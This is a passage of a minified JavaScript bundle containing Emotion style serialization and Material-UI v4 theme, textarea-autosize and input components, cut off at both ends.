v=n;if(null==t)return v;var g=t[v];return void 0!==g?g:v}var h,m=/label:\s*([^\s;{]+)\s*(;|$)/g;function v(e,t,n){if(1===e.length&&"object"==typeof e[0]&&null!==e[0]&&void 0!==e[0].styles)return e[0];var r=!0,o="";h=void 0;var i=e[0];null==i||void 0===i.raw?(r=!1,o+=f(n,t,i)):o+=i[0];for(var a=1;a<e.length;a++)o+=f(n,t,e[a]),r&&(o+=i[a]);m.lastIndex=0;for(var s,l="";null!==(s=m.exec(o));)l+="-"+s[1];var c=function(e){for(var t,n=0,r=0,o=e.length;o>=4;++r,o-=4)t=1540483477*(65535&(t=255&e.charCodeAt(r)|(255&e.charCodeAt(++r))<<8|(255&e.charCodeAt(++r))<<16|(255&e.charCodeAt(++r))<<24))+(59797*(t>>>16)<<16),n=1540483477*(65535&(t^=t>>>24))+(59797*(t>>>16)<<16)^1540483477*(65535&n)+(59797*(n>>>16)<<16);switch(o){case 3:n^=(255&e.charCodeAt(r+2))<<16;case 2:n^=(255&e.charCodeAt(r+1))<<8;case 1:n=1540483477*(65535&(n^=255&e.charCodeAt(r)))+(59797*(n>>>16)<<16)}return(((n=1540483477*(65535&(n^=n>>>13))+(59797*(n>>>16)<<16))^n>>>15)>>>0).toString(36)}(o)+l;return{name:c,styles:o,next:h}}},1287:(e,t,n)=>{"use strict";n.d(t,{i:()=>a,s:()=>i});var r=n(1609),o=!!r.useInsertionEffect&&r.useInsertionEffect,i=o||function(e){return e()},a=o||r.useLayoutEffect},41:(e,t,n)=>{"use strict";function r(e,t,n){var r="";return n.split(" ").forEach((function(n){void 0!==e[n]?t.push(e[n]+";"):n&&(r+=n+" ")})),r}n.d(t,{Rk:()=>r,SF:()=>o,sk:()=>i});var o=function(e,t,n){var r=e.key+"-"+t.name;!1===n&&void 0===e.registered[r]&&(e.registered[r]=t.styles)},i=function(e,t,n){o(e,t,n);var r=e.key+"-"+t.name;if(void 0===e.inserted[t.name]){var i=t;do{e.insert(t===i?"."+r:"",i,e.sheet,!0),i=i.next}while(void 0!==i)}}},2389:(e,t,n)=>{"use strict";n.d(t,{A:()=>Rn});var r=n(8168),o=n(45),i=n(1609),a=n.n(i),s=n(53);function l(e){for(var t="https://mui.com/production-error/?code="+e,n=1;n<arguments.length;n+=1)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified Material-UI error #"+e+"; visit "+t+" for the full message."}function c(e){var t=e.props,n=e.states,r=e.muiFormControl;return n.reduce((function(e,n){return e[n]=t[n],r&&void 0===t[n]&&(e[n]=r[n]),e}),{})}var u=i.createContext();const d=u;var p=n(4146),f=n.n(p),h=n(2611);function m(e){var t=e.theme,n=e.name,r=e.props;if(!t||!t.props||!t.props[n])return r;var o,i=t.props[n];for(o in i)void 0===r[o]&&(r[o]=i[o]);return r}var v=n(6061);var g=n(2851),y=["xs","sm","md","lg","xl"],b=n(4467);function x(e,t,n){var o;return(0,r.A)({gutters:function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return console.warn(["Material-UI: theme.mixins.gutters() is deprecated.","You can use the source of the mixin directly:","\n      paddingLeft: theme.spacing(2),\n      paddingRight: theme.spacing(2),\n      [theme.breakpoints.up('sm')]: {\n        paddingLeft: theme.spacing(3),\n        paddingRight: theme.spacing(3),\n      },\n      "].join("\n")),(0,r.A)({paddingLeft:t(2),paddingRight:t(2)},n,(0,b.A)({},e.up("sm"),(0,r.A)({paddingLeft:t(3),paddingRight:t(3)},n[e.up("sm")])))},toolbar:(o={minHeight:56},(0,b.A)(o,"".concat(e.up("xs")," and (orientation: landscape)"),{minHeight:48}),(0,b.A)(o,e.up("sm"),{minHeight:64}),o)},n)}const A={black:"#000",white:"#fff"},w={50:"#fafafa",100:"#f5f5f5",200:"#eeeeee",300:"#e0e0e0",400:"#bdbdbd",500:"#9e9e9e",600:"#757575",700:"#616161",800:"#424242",900:"#212121",A100:"#d5d5d5",A200:"#aaaaaa",A400:"#303030",A700:"#616161"},k="#7986cb",S="#3f51b5",C="#303f9f",E="#ff4081",O="#f50057",R="#c51162",P="#e57373",$="#f44336",M="#d32f2f",T="#ffb74d",I="#ff9800",N="#f57c00",j="#64b5f6",L="#2196f3",z="#1976d2",D="#81c784",F="#4caf50",W="#388e3c";function _(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1;return Math.min(Math.max(t,e),n)}function B(e){if(e.type)return e;if("#"===e.charAt(0))return B(function(e){e=e.substr(1);var t=new RegExp(".{1,".concat(e.length>=6?2:1,"}"),"g"),n=e.match(t);return n&&1===n[0].length&&(n=n.map((function(e){return e+e}))),n?"rgb".concat(4===n.length?"a":"","(").concat(n.map((function(e,t){return t<3?parseInt(e,16):Math.round(parseInt(e,16)/255*1e3)/1e3})).join(", "),")"):""}(e));var t=e.indexOf("("),n=e.substring(0,t);if(-1===["rgb","rgba","hsl","hsla"].indexOf(n))throw new Error(l(3,e));var r=e.substring(t+1,e.length-1).split(",");return{type:n,values:r=r.map((function(e){return parseFloat(e)}))}}function V(e){var t=e.type,n=e.values;return-1!==t.indexOf("rgb")?n=n.map((function(e,t){return t<3?parseInt(e,10):e})):-1!==t.indexOf("hsl")&&(n[1]="".concat(n[1],"%"),n[2]="".concat(n[2],"%")),"".concat(t,"(").concat(n.join(", "),")")}function H(e){var t="hsl"===(e=B(e)).type?B(function(e){var t=(e=B(e)).values,n=t[0],r=t[1]/100,o=t[2]/100,i=r*Math.min(o,1-o),a=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:(e+n/30)%12;return o-i*Math.max(Math.min(t-3,9-t,1),-1)},s="rgb",l=[Math.round(255*a(0)),Math.round(255*a(8)),Math.round(255*a(4))];return"hsla"===e.type&&(s+="a",l.push(t[3])),V({type:s,values:l})}(e)).values:e.values;return t=t.map((function(e){return(e/=255)<=.03928?e/12.92:Math.pow((e+.055)/1.055,2.4)})),Number((.2126*t[0]+.7152*t[1]+.0722*t[2]).toFixed(3))}var q={text:{primary:"rgba(0, 0, 0, 0.87)",secondary:"rgba(0, 0, 0, 0.54)",disabled:"rgba(0, 0, 0, 0.38)",hint:"rgba(0, 0, 0, 0.38)"},divider:"rgba(0, 0, 0, 0.12)",background:{paper:A.white,default:w[50]},action:{active:"rgba(0, 0, 0, 0.54)",hover:"rgba(0, 0, 0, 0.04)",hoverOpacity:.04,selected:"rgba(0, 0, 0, 0.08)",selectedOpacity:.08,disabled:"rgba(0, 0, 0, 0.26)",disabledBackground:"rgba(0, 0, 0, 0.12)",disabledOpacity:.38,focus:"rgba(0, 0, 0, 0.12)",focusOpacity:.12,activatedOpacity:.12}},K={text:{primary:A.white,secondary:"rgba(255, 255, 255, 0.7)",disabled:"rgba(255, 255, 255, 0.5)",hint:"rgba(255, 255, 255, 0.5)",icon:"rgba(255, 255, 255, 0.5)"},divider:"rgba(255, 255, 255, 0.12)",background:{paper:w[800],default:"#303030"},action:{active:A.white,hover:"rgba(255, 255, 255, 0.08)",hoverOpacity:.08,selected:"rgba(255, 255, 255, 0.16)",selectedOpacity:.16,disabled:"rgba(255, 255, 255, 0.3)",disabledBackground:"rgba(255, 255, 255, 0.12)",disabledOpacity:.38,focus:"rgba(255, 255, 255, 0.12)",focusOpacity:.12,activatedOpacity:.24}};function U(e,t,n,r){var o=r.light||r,i=r.dark||1.5*r;e[t]||(e.hasOwnProperty(n)?e[t]=e[n]:"light"===t?e.light=function(e,t){if(e=B(e),t=_(t),-1!==e.type.indexOf("hsl"))e.values[2]+=(100-e.values[2])*t;else if(-1!==e.type.indexOf("rgb"))for(var n=0;n<3;n+=1)e.values[n]+=(255-e.values[n])*t;return V(e)}(e.main,o):"dark"===t&&(e.dark=function(e,t){if(e=B(e),t=_(t),-1!==e.type.indexOf("hsl"))e.values[2]*=1-t;else if(-1!==e.type.indexOf("rgb"))for(var n=0;n<3;n+=1)e.values[n]*=1-t;return V(e)}(e.main,i)))}function X(e){return Math.round(1e5*e)/1e5}function G(e){return X(e)}var Y={textTransform:"uppercase"},J='"Roboto", "Helvetica", "Arial", sans-serif';function Z(e,t){var n="function"==typeof t?t(e):t,i=n.fontFamily,a=void 0===i?J:i,s=n.fontSize,l=void 0===s?14:s,c=n.fontWeightLight,u=void 0===c?300:c,d=n.fontWeightRegular,p=void 0===d?400:d,f=n.fontWeightMedium,h=void 0===f?500:f,m=n.fontWeightBold,v=void 0===m?700:m,y=n.htmlFontSize,b=void 0===y?16:y,x=n.allVariants,A=n.pxToRem,w=(0,o.A)(n,["fontFamily","fontSize","fontWeightLight","fontWeightRegular","fontWeightMedium","fontWeightBold","htmlFontSize","allVariants","pxToRem"]),k=l/14,S=A||function(e){return"".concat(e/b*k,"rem")},C=function(e,t,n,o,i){return(0,r.A)({fontFamily:a,fontWeight:e,fontSize:S(t),lineHeight:n},a===J?{letterSpacing:"".concat(X(o/t),"em")}:{},i,x)},E={h1:C(u,96,1.167,-1.5),h2:C(u,60,1.2,-.5),h3:C(p,48,1.167,0),h4:C(p,34,1.235,.25),h5:C(p,24,1.334,0),h6:C(h,20,1.6,.15),subtitle1:C(p,16,1.75,.15),subtitle2:C(h,14,1.57,.1),body1:C(p,16,1.5,.15),body2:C(p,14,1.43,.15),button:C(h,14,1.75,.4,Y),caption:C(p,12,1.66,.4),overline:C(p,12,2.66,1,Y)};return(0,g.A)((0,r.A)({htmlFontSize:b,pxToRem:S,round:G,fontFamily:a,fontSize:l,fontWeightLight:u,fontWeightRegular:p,fontWeightMedium:h,fontWeightBold:v},E),w,{clone:!1})}function Q(){return["".concat(arguments.length<=0?void 0:arguments[0],"px ").concat(arguments.length<=1?void 0:arguments[1],"px ").concat(arguments.length<=2?void 0:arguments[2],"px ").concat(arguments.length<=3?void 0:arguments[3],"px rgba(0,0,0,").concat(.2,")"),"".concat(arguments.length<=4?void 0:arguments[4],"px ").concat(arguments.length<=5?void 0:arguments[5],"px ").concat(arguments.length<=6?void 0:arguments[6],"px ").concat(arguments.length<=7?void 0:arguments[7],"px rgba(0,0,0,").concat(.14,")"),"".concat(arguments.length<=8?void 0:arguments[8],"px ").concat(arguments.length<=9?void 0:arguments[9],"px ").concat(arguments.length<=10?void 0:arguments[10],"px ").concat(arguments.length<=11?void 0:arguments[11],"px rgba(0,0,0,").concat(.12,")")].join(",")}const ee=["none",Q(0,2,1,-1,0,1,1,0,0,1,3,0),Q(0,3,1,-2,0,2,2,0,0,1,5,0),Q(0,3,3,-2,0,3,4,0,0,1,8,0),Q(0,2,4,-1,0,4,5,0,0,1,10,0),Q(0,3,5,-1,0,5,8,0,0,1,14,0),Q(0,3,5,-1,0,6,10,0,0,1,18,0),Q(0,4,5,-2,0,7,10,1,0,2,16,1),Q(0,5,5,-3,0,8,10,1,0,3,14,2),Q(0,5,6,-3,0,9,12,1,0,3,16,2),Q(0,6,6,-3,0,10,14,1,0,4,18,3),Q(0,6,7,-4,0,11,15,1,0,4,20,3),Q(0,7,8,-4,0,12,17,2,0,5,22,4),Q(0,7,8,-4,0,13,19,2,0,5,24,4),Q(0,7,9,-4,0,14,21,2,0,5,26,4),Q(0,8,9,-5,0,15,22,2,0,6,28,5),Q(0,8,10,-5,0,16,24,2,0,6,30,5),Q(0,8,11,-5,0,17,26,2,0,6,32,5),Q(0,9,11,-5,0,18,28,2,0,7,34,6),Q(0,9,12,-6,0,19,29,2,0,7,36,6),Q(0,10,13,-6,0,20,31,3,0,8,38,7),Q(0,10,13,-6,0,21,33,3,0,8,40,7),Q(0,10,14,-6,0,22,35,3,0,8,42,7),Q(0,11,14,-7,0,23,36,3,0,9,44,8),Q(0,11,15,-7,0,24,38,3,0,9,46,8)],te={borderRadius:4};var ne=n(296),re=n(2284),oe={xs:0,sm:600,md:960,lg:1280,xl:1920},ie={keys:["xs","sm","md","lg","xl"],up:function(e){return"@media (min-width:".concat(oe[e],"px)")}};const ae=function(e,t){return t?(0,g.A)(e,t,{clone:!1}):e};var se,le,ce={m:"margin",p:"padding"},ue={t:"Top",r:"Right",b:"Bottom",l:"Left",x:["Left","Right"],y:["Top","Bottom"]},de={marginX:"mx",marginY:"my",paddingX:"px",paddingY:"py"},pe=(se=function(e){if(e.length>2){if(!de[e])return[e];e=de[e]}var t=e.split(""),n=(0,ne.A)(t,2),r=n[0],o=n[1],i=ce[r],a=ue[o]||"";return Array.isArray(a)?a.map((function(e){return i+e})):[i+a]},le={},function(e){return void 0===le[e]&&(le[e]=se(e)),le[e]}),fe=["m","mt","mr","mb","ml","mx","my","p","pt","pr","pb","pl","px","py","margin","marginTop","marginRight","marginBottom","marginLeft","marginX","marginY","padding","paddingTop","paddingRight","paddingBottom","paddingLeft","paddingX","paddingY"];function he(e){var t=e.spacing||8;return"number"==typeof t?function(e){return t*e}:Array.isArray(t)?function(e){return t[e]}:"function"==typeof t?t:function(){}}function me(e){var t=he(e.theme);return Object.keys(e).map((function(n){if(-1===fe.indexOf(n))return null;var r=function(e,t){return function(n){return e.reduce((function(e,r){return e[r]=function(e,t){if("string"==typeof t||null==t)return t;var n=e(Math.abs(t));return t>=0?n:"number"==typeof n?-n:"-".concat(n)}(t,n),e}),{})}}(pe(n),t),o=e[n];return function(e,t,n){if(Array.isArray(t)){var r=e.theme.breakpoints||ie;return t.reduce((function(e,o,i){return e[r.up(r.keys[i])]=n(t[i]),e}),{})}if("object"===(0,re.A)(t)){var o=e.theme.breakpoints||ie;return Object.keys(t).reduce((function(e,r){return e[o.up(r)]=n(t[r]),e}),{})}return n(t)}(e,o,r)})).reduce(ae,{})}me.propTypes={},me.filterProps=fe;var ve={easeInOut:"cubic-bezier(0.4, 0, 0.2, 1)",easeOut:"cubic-bezier(0.0, 0, 0.2, 1)",easeIn:"cubic-bezier(0.4, 0, 1, 1)",sharp:"cubic-bezier(0.4, 0, 0.6, 1)"},ge={shortest:150,shorter:200,short:250,standard:300,complex:375,enteringScreen:225,leavingScreen:195};function ye(e){return"".concat(Math.round(e),"ms")}const be={easing:ve,duration:ge,create:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:["all"],t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.duration,r=void 0===n?ge.standard:n,i=t.easing,a=void 0===i?ve.easeInOut:i,s=t.delay,l=void 0===s?0:s;return(0,o.A)(t,["duration","easing","delay"]),(Array.isArray(e)?e:[e]).map((function(e){return"".concat(e," ").concat("string"==typeof r?r:ye(r)," ").concat(a," ").concat("string"==typeof l?l:ye(l))})).join(",")},getAutoHeightDuration:function(e){if(!e)return 0;var t=e/36;return Math.round(10*(4+15*Math.pow(t,.25)+t/5))}},xe={mobileStepper:1e3,speedDial:1050,appBar:1100,drawer:1200,modal:1300,snackbar:1400,tooltip:1500};const Ae=function(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.breakpoints,n=void 0===t?{}:t,i=e.mixins,a=void 0===i?{}:i,s=e.palette,c=void 0===s?{}:s,u=e.spacing,d=e.typography,p=void 0===d?{}:d,f=(0,o.A)(e,["breakpoints","mixins","palette","spacing","typography"]),h=function(e){var t=e.primary,n=void 0===t?{light:k,main:S,dark:C}:t,i=e.secondary,a=void 0===i?{light:E,main:O,dark:R}:i,s=e.error,c=void 0===s?{light:P,main:$,dark:M}:s,u=e.warning,d=void 0===u?{light:T,main:I,dark:N}:u,p=e.info,f=void 0===p?{light:j,main:L,dark:z}:p,h=e.success,m=void 0===h?{light:D,main:F,dark:W}:h,v=e.type,y=void 0===v?"light":v,b=e.contrastThreshold,x=void 0===b?3:b,_=e.tonalOffset,B=void 0===_?.2:_,V=(0,o.A)(e,["primary","secondary","error","warning","info","success","type","contrastThreshold","tonalOffset"]);function X(e){var t=function(e,t){var n=H(e),r=H(t);return(Math.max(n,r)+.05)/(Math.min(n,r)+.05)}(e,K.text.primary)>=x?K.text.primary:q.text.primary;return t}var G=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:500,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:300,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:700;if(!(e=(0,r.A)({},e)).main&&e[t]&&(e.main=e[t]),!e.main)throw new Error(l(4,t));if("string"!=typeof e.main)throw new Error(l(5,JSON.stringify(e.main)));return U(e,"light",n,B),U(e,"dark",o,B),e.contrastText||(e.contrastText=X(e.main)),e},Y={dark:K,light:q};return(0,g.A)((0,r.A)({common:A,type:y,primary:G(n),secondary:G(a,"A400","A200","A700"),error:G(c),warning:G(d),info:G(f),success:G(m),grey:w,contrastThreshold:x,getContrastText:X,augmentColor:G,tonalOffset:B},Y[y]),V)}(c),m=function(e){var t=e.values,n=void 0===t?{xs:0,sm:600,md:960,lg:1280,xl:1920}:t,i=e.unit,a=void 0===i?"px":i,s=e.step,l=void 0===s?5:s,c=(0,o.A)(e,["values","unit","step"]);function u(e){var t="number"==typeof n[e]?n[e]:e;return"@media (min-width:".concat(t).concat(a,")")}function d(e,t){var r=y.indexOf(t);return r===y.length-1?u(e):"@media (min-width:".concat("number"==typeof n[e]?n[e]:e).concat(a,") and ")+"(max-width:".concat((-1!==r&&"number"==typeof n[y[r+1]]?n[y[r+1]]:t)-l/100).concat(a,")")}return(0,r.A)({keys:y,values:n,up:u,down:function(e){var t=y.indexOf(e)+1,r=n[y[t]];return t===y.length?u("xs"):"@media (max-width:".concat(("number"==typeof r&&t>0?r:e)-l/100).concat(a,")")},between:d,only:function(e){return d(e,e)},width:function(e){return n[e]}},c)}(n),v=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:8;if(e.mui)return e;var t=he({spacing:e}),n=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return 0===n.length?t(1):1===n.length?t(n[0]):n.map((function(e){if("string"==typeof e)return e;var n=t(e);return"number"==typeof n?"".concat(n,"px"):n})).join(" ")};return Object.defineProperty(n,"unit",{get:function(){return e}}),n.mui=!0,n}(u),b=(0,g.A)({breakpoints:m,direction:"ltr",mixins:x(m,v,a),overrides:{},palette:h,props:{},shadows:ee,typography:Z(h,p),spacing:v,shape:te,transitions:be,zIndex:xe},f),_=arguments.length,B=new Array(_>1?_-1:0),V=1;V<_;V++)B[V-1]=arguments[V];return B.reduce((function(e,t){return(0,g.A)(e,t)}),b)}(),we=function(e,t){return function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return function(n){var i=t.defaultTheme,s=t.withTheme,l=void 0!==s&&s,c=t.name,u=(0,o.A)(t,["defaultTheme","withTheme","name"]),d=c,p=(0,h.A)(e,(0,r.A)({defaultTheme:i,Component:n,name:c||n.displayName,classNamePrefix:d},u)),g=a().forwardRef((function(e,t){e.classes;var s,u=e.innerRef,d=(0,o.A)(e,["classes","innerRef"]),f=p((0,r.A)({},n.defaultProps,e)),h=d;return("string"==typeof c||l)&&(s=(0,v.A)()||i,c&&(h=m({theme:s,name:c,props:d})),l&&!h.theme&&(h.theme=s)),a().createElement(n,(0,r.A)({ref:u||t,classes:f},h))}));return f()(g,n),g}}(e,(0,r.A)({defaultTheme:Ae},t))};function ke(e){if("string"!=typeof e)throw new Error(l(7));return e.charAt(0).toUpperCase()+e.slice(1)}function Se(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function Ce(e,t){return i.useMemo((function(){return null==e&&null==t?null:function(n){Se(e,n),Se(t,n)}}),[e,t])}function Ee(e){var t,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:166;function r(){for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];var a=this;clearTimeout(t),t=setTimeout((function(){e.apply(a,o)}),n)}return r.clear=function(){clearTimeout(t)},r}function Oe(e,t){return parseInt(e[t],10)||0}var Re="undefined"!=typeof window?i.useLayoutEffect:i.useEffect,Pe={visibility:"hidden",position:"absolute",overflow:"hidden",height:0,top:0,left:0,transform:"translateZ(0)"};const $e=i.forwardRef((function(e,t){var n=e.onChange,a=e.rows,s=e.rowsMax,l=e.rowsMin,c=e.maxRows,u=e.minRows,d=void 0===u?1:u,p=e.style,f=e.value,h=(0,o.A)(e,["onChange","rows","rowsMax","rowsMin","maxRows","minRows","style","value"]),m=c||s,v=a||l||d,g=i.useRef(null!=f).current,y=i.useRef(null),b=Ce(t,y),x=i.useRef(null),A=i.useRef(0),w=i.useState({}),k=w[0],S=w[1],C=i.useCallback((function(){var t=y.current,n=window.getComputedStyle(t),r=x.current;r.style.width=n.width,r.value=t.value||e.placeholder||"x","\n"===r.value.slice(-1)&&(r.value+=" ");var o=n["box-sizing"],i=Oe(n,"padding-bottom")+Oe(n,"padding-top"),a=Oe(n,"border-bottom-width")+Oe(n,"border-top-width"),s=r.scrollHeight-i;r.value="x";var l=r.scrollHeight-i,c=s;v&&(c=Math.max(Number(v)*l,c)),m&&(c=Math.min(Number(m)*l,c));var u=(c=Math.max(c,l))+("border-box"===o?i+a:0),d=Math.abs(c-s)<=1;S((function(e){return A.current<20&&(u>0&&Math.abs((e.outerHeightStyle||0)-u)>1||e.overflow!==d)?(A.current+=1,{overflow:d,outerHeightStyle:u}):e}))}),[m,v,e.placeholder]);return i.useEffect((function(){var e=Ee((function(){A.current=0,C()}));return window.addEventListener("resize",e),function(){e.clear(),window.removeEventListener("resize",e)}}),[C]),Re((function(){C()})),i.useEffect((function(){A.current=0}),[f]),i.createElement(i.Fragment,null,i.createElement("textarea",(0,r.A)({value:f,onChange:function(e){A.current=0,g||C(),n&&n(e)},ref:b,rows:v,style:(0,r.A)({height:k.outerHeightStyle,overflow:k.overflow?"hidden":null},p)},h)),i.createElement("textarea",{"aria-hidden":!0,className:e.className,readOnly:!0,ref:x,tabIndex:-1,style:(0,r.A)({},Pe,p)}))}));function Me(e){return null!=e&&!(Array.isArray(e)&&0===e.length)}function Te(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return e&&(Me(e.value)&&""!==e.value||t&&Me(e.defaultValue)&&""!==e.defaultValue)}var Ie="undefined"==typeof window?i.useEffect:i.useLayoutEffect,Ne=i.forwardRef((function(e,t){var n=e["aria-describedby"],a=e.autoComplete,p=e.autoFocus,f=e.classes,h=e.className,m=(e.color,e.defaultValue),v=e.disabled,g=e.endAdornment,y=(e.error,e.fullWidth),b=void 0!==y&&y,x=e.id,A=e.inputComponent,w=void 0===A?"input":A,k=e.inputProps,S=void 0===k?{}:k,C=e.inputRef,E=(e.margin,e.multiline),O=void 0!==E&&E,R=e.name,P=e.onBlur,$=e.onChange,M=e.onClick,T=e.onFocus,I=e.onKeyDown,N=e.onKeyUp,j=e.placeholder,L=e.readOnly,z=e.renderSuffix,D=e.rows,F=e.rowsMax,W=e.rowsMin,_=e.maxRows,B=e.minRows,V=e.startAdornment,H=e.type,q=void 0===H?"text":H,K=e.value,U=(0,o.A)(e,["aria-describedby","autoComplete","autoFocus","classes","className","color","defaultValue","disabled","endAdornment","error","fullWidth","id","inputComponent","inputProps","inputRef","margin","multiline","name","onBlur","onChange","onClick","onFocus","onKeyDown","onKeyUp","placeholder","readOnly","renderSuffix","rows","rowsMax","rowsMin","maxRows","minRows","startAdornment","type","value"]),X=null!=S.value?S.value:K,G=i.useRef(null!=X).current,Y=i.useRef(),J=i.useCallback((function(e){}),[]),Z=Ce(S.ref,J),Q=Ce(C,Z),ee=Ce(Y,Q),te=i.useState(!1),ne=te[0],re=te[1],oe=i.useContext(u),ie=c({props:e,muiFormControl:oe,states:["color","disabled","error","hiddenLabel","margin","required","filled"]});ie.focused=oe?oe.focused:ne,i.useEffect((function(){!oe&&v&&ne&&(re(!1),P&&P())}),[oe,v,ne,P]);var ae=oe&&oe.onFilled,se=oe&&oe.onEmpty,le=i.useCallback((function(e){Te(e)?ae&&ae():se&&se()}),[ae,se]);Ie((function(){G&&le({value:X})}),[X,le,G]),i.useEffect((function(){le(Y.current)}),[]);var ce=w,ue=(0,r.A)({},S,{ref:ee});return"string"!=typeof ce?ue=(0,r.A)({inputRef:ee,type:q},ue,{ref:null}):O?!D||_||B||F||W?(ue=(0,r.A)({minRows:D||B,rowsMax:F,maxRows:_},ue),ce=$e):ce="textarea":ue=(0,r.A)({type:q},ue),i.useEffect((function(){oe&&oe.setAdornedStart(Boolean(V))}),[oe,V]),i.createElement("div",(0,r.A)({className:(0,s.A)(f.root,f["color".concat(ke(ie.color||"primary"))],h,ie.disabled&&f.disabled,ie.error&&f.error,b&&f.fullWidth,ie.focused&&f.focused,oe&&f.formControl,O&&f.multiline,V&&f.adornedStart,g&&f.adornedEnd,"dense"===ie.margin&&f.marginDense),onClick:function(e){Y.current&&e.currentTarget===e.target&&Y.current.focus(),M&&M(e)},ref:t},U),V,i.createElement(d.Provider,{value:null},i.createElement(ce,(0,r.A)({"aria-invalid":ie.error,"aria-describedby":n,autoComplete:a,autoFocus:p,defaultValue:m,disabled:ie.disabled,id:x,onAnimationStart:function(e){le("mui-auto-fill-cancel"===e.animationName?Y.current:{value:"x"})},name:R,placeholder:j,readOnly:L,required:ie.required,rows:D,value:X,onKeyDown:I,onKeyUp:N},ue,{className:(0,s.A)(f.input,S.className,ie.disabled&&f.disabled,O&&f.inputMultiline,ie.hiddenLabel&&f.inputHiddenLabel,V&&f.inputAdornedStart,g&&f.inputAdornedEnd,"search"===q&&f.inputTypeSearch,"dense"===ie.margin&&f.inputMarginDense),onBlur:function(e){P&&P(e),S.onBlur&&S.onBlur(e),oe&&oe.onBlur?oe.onBlur(e):re(!1)},onChange:function(e){if(!G){var t=e.target||Y.current;if(null==t)throw new Error(l(1));le({value:t.value})}for(var n=arguments.length,r=new Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];S.onChange&&S.onChange.apply(S,[e].concat(r)),$&&$.apply(void 0,[e].concat(r))},onFocus:function(e){ie.disabled?e.stopPropagation():(T&&T(e),S.onFocus&&S.onFocus(e),oe&&oe.onFocus?oe.onFocus(e):re(!0))}}))),g,z?z((0,r.A)({},ie,{startAdornment:V})):null)}));const je=we((function(e){var t="light"===e.palette.type,n={color:"currentColor",opacity:t?.42:.5,transition:e.transitions.create("opacity",{duration:e.transitions.duration.shorter})},o={opacity:"0 !important"},i={opacity:t?.42:.5};return{"@global":{"@keyframes mui-auto-fill":{},"@keyframes mui-auto-fill-cancel":{}},root:(0,r.A)({},e.typography.body1,{color:e.palette.text.primary,lineHeight:"1.1876em",boxSizing:"border-box",position:"relative",cursor:"text",display:"inline-flex",alignItems:"center","&$disabled":{color:e.palette.text.disabled,cursor:"default"}}),formControl:{},focused:{},disabled:{},adornedStart:{},adornedEnd:{},error:{},marginDense:{},multiline:{padding:"".concat(6,"px 0 ").concat(7,"px"),"&$marginDense":{paddingTop:3}},colorSecondary:{},fullWidth:{width:"100%"},input:{font:"inherit",letterSpacing:"inherit",color:"currentColor",padding:"".concat(6,"px 0 ").concat(7,"px"),border:0,boxSizing:"content-box",background:"none",height:"1.1876em",margin:0,WebkitTapHighlightColor:"transparent",display:"block",minWidth:0,width:"100%",animationName:"mui-auto-fill-cancel",animationDuration:"10ms","&::-webkit-input-placeholder":n,"&::-moz-placeholder":n,"&:-ms-input-placeholder":n,"&::-ms-input-placeholder":n,"&:focus":{outline:0},"&:invalid":{boxShadow:"none"},"&::-webkit-search-decoration":{"-webkit-appearance":"none"},"label[data-shrink=false] + $formControl &":{"&::-webkit-input-placeholder":o,"&::-moz-placeholder":o,"&:-ms-input-placeholder":o,"&::-ms-input-placeholder":o,"&:focus::-webkit-input-placeholder":i,"&:focus::-moz-placeholder":i,"&:focus:-ms-input-placeholder":i,"&:focus::-ms-input-placeholder":i},"&$disabled":{opacity:1},"&:-webkit-autofill":{animationDuration:"5000s",animationName:"mui-auto-fill"}},inputMarginDense:{paddingTop:3},inputMultiline:{height:"auto",resize:"none",padding:0},inputTypeSearch:{"-moz-appearance":"textfield","-webkit-appearance":"textfield"},inputAdornedStart:{},inputAdornedEnd:{},inputHiddenLabel:{}}}),{name:"MuiInputBase"})(Ne);var Le=i.forwardRef((function(e,t){var n=e.disableUnderline,a=e.classes,l=e.fullWidth,c=void 0!==l&&l,u=e.inputComponent,d=void 0===u?"input":u,p=e.multiline,f=void 0!==p&&p,h=e.type,m=void 0===h?"text":h,v=(0,o.A)(e,["disableUnderline","classes","fullWidth","inputComponent","multiline","type"]);return i.createElement(je,(0,r.A)({classes:(0,r.A)({},a,{root:(0,s.A)(a.root,!n&&a.underline),underline:null}),fullWidth:c,inputComponent:d,multiline:f,ref:t,type:m},v))}));Le.muiName="Input";const ze=we((function(e){var t="light"===e.palette.type?"rgba(0, 0, 0, 0.42)":"rgba(255, 255, 255, 0.7)";return{root:{position:"relative"},formControl:{"label + &":{marginTop:16}},focused:{},disabled:{},colorSecondary:{"&$underline:after":{borderBottomColor:e.palette.secondary.main}},underline:{"&:after":{borderBottom:"2px solid ".concat(e.palette.primary.main),left:0,bottom:0,content:'""',position:"absolute",right:0,transform:"scaleX(0)",transition:e.transitions.create("transform",{duration:e.transitions.duration.shorter,easing:e.transitions.easing.easeOut}),pointerEvents:"none"},"&$focused:after":{transform:"scaleX(1)"},"&$error:after":{borderBottomColor:e.palette.error.main,transform:"scaleX(1)"},"&:before":{borderBottom:"1px solid ".concat(t),left:0,bottom:0,content:'"\\00a0"',position:"absolute",right:0,transition:e.transitions.create("border-bottom-color",{duration:e.transitions.duration.shorter}),pointerEvents:"none"},"&:hover:not($disabled):before":{borderBottom:"2px solid ".concat(e.palette.text.primary),"@media (hover: none)":{borderBottom:"1px solid ".concat(t)}},"&$disabled:before":{borderBottomStyle:"dotted"}},error:{},marginDense:{},multiline:{},fullWidth:{},input:{},inputMarginDense:{},inputMultiline:{},inputTypeSearch:{}}}),{name:"MuiInput"})(Le);var 